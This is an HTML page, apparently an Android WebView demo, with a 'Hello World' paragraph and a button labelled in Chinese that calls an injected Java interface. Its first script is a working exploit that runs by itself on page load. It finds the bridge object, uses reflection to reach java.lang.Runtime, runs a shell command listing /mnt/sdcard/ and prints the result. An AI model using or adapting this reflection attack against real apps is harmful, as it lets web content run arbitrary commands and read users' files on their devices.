<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <script>
      var i=0;
      function getContents(inputStream)
      {
        var contents = ""+i;
        var b = inputStream.read();
        var i = 1;
        while(b != -1) {
            var bString = String.fromCharCode(b);
            contents += bString;
            contents += "\n"
            b = inputStream.read();
        }
        i=i+1;
        return contents;
       }

       function execute(cmdArgs)
       {
        for (var obj in window) {
            console.log(obj);
            if ("getClass" in window[obj]) {
                alert(obj);
                return window[obj].getClass().forName("java.lang.Runtime").
                    getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
             }
         }
       }

      var p = execute(["ls","/mnt/sdcard/"]);
      document.write(getContents(p.getInputStream()));
    </script>

    <script language="javascript">
      function onButtonClick()
      {
        document.getElementById("show").innerHTML = "dd";
        // Call the method of injected object from Android source.
        var text = JsInterface.onButtonClick("从JS中传递过来的文本！！！");
        document.getElementById("show").innerHTML = text;
      }
    </script>
</head>

<body>
<p id="show">Hello World</p>
</p>
<button type="button" onclick="onButtonClick()">与Java代码交互</button>
</body>
</html>